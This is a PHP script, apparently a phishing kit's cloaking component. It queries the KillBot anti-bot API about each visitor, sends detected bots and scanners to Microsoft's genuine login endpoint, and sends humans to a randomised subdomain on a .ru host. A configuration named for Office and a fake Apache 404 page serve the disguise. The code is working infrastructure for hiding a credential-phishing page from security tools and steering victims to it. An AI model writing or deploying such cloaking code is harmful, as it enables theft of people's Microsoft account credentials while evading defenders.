apiKey = $api_key; $this->config = $config; } private function getClientIP(): string { if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) { $_SERVER['REMOTE_ADDR'] = $_SERVER["HTTP_CF_CONNECTING_IP"]; } $client = $_SERVER['HTTP_CLIENT_IP'] ?? ''; $forward = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? ''; $remote = $_SERVER['REMOTE_ADDR'] ?? ''; if (filter_var($client, FILTER_VALIDATE_IP)) { return $client; } elseif (filter_var($forward, FILTER_VALIDATE_IP)) { return $forward; } else { return $remote; } } public function show404Page(): void { header("HTTP/1.0 404 Not Found"); $requestedPage = $_SERVER['REQUEST_URI'] ?? 'Unknown'; $requestedPageWithoutQueryString = parse_url($requestedPage, PHP_URL_PATH); $serverName = $_SERVER['SERVER_NAME'] ?? 'Unknown'; echo << 404 Not Found

Not Found

The requested URL $requestedPageWithoutQueryString was not found on this server.

Apache/2.4.57 (Debian) Server at $serverName Port 80
EOL; die(); } private function httpPost($url, $data): string { $ch = curl_init(); curl_setopt($ch, CURLOPT_USERAGENT, 'KillBot.to Blocker-PHP'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HTTPHEADER, [ "X-API-Key: {$this->apiKey}", "Content-Type: application/x-www-form-urlencoded" ]); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($response === false) { throw new Exception("HTTP request failed with status $httpCode: " . curl_error($ch)); } curl_close($ch); return $response; } public function check(): array { try { $ip = $this->getClientIP(); $ua = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown'; $response = $this->httpPost("https://api.killbot.to/check", ['ip' => $ip, 'ua' => $ua, 'config' => $this->config]); $decodedResponse = json_decode($response, true); if (json_last_error() !== JSON_ERROR_NONE) { throw new Exception("JSON decode error: " . json_last_error_msg()); } return $decodedResponse; } catch (Exception $e) { return ['success' => false, 'error' => $e->getMessage()]; } } } // Set API key and configuration $killBotApiKey = "a58795f6-9bf1-4080-b980-0ad21d8c3817"; // Replace with your KillBot API key $killBotConfigName = "configoffice0989"; $Killbot = new KillBot($killBotApiKey, $killBotConfigName); // Call the KillBot API to check the visitor $check = $Killbot->check(); // Handle API failures if (!$check["success"]) { die("API Error: " . ($check["error"] ?? "An unknown error occurred.")); } // Function to generate a random string with letters and numbers function generateRandomString($length = 25) { $characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, strlen($characters) - 1)]; } return $randomString; } // Generate a random alphanumeric subdomain $randomHash = generateRandomString(25); // Define redirect URLs $blockedRedirect = "https://login.microsoftonline.com/common/SAS/ProcessAuth"; // Redirect for bots $allowedRedirect = "https://$randomHash.fictiougbo.ru/LrfdGrh7/"; // Redirect for humans // Check if the user is blocked if ($check["block"] === true) { $redirectUrl = $blockedRedirect; } else { $redirectUrl = $allowedRedirect; } // Handle the redirection while preserving the URL hash ?>

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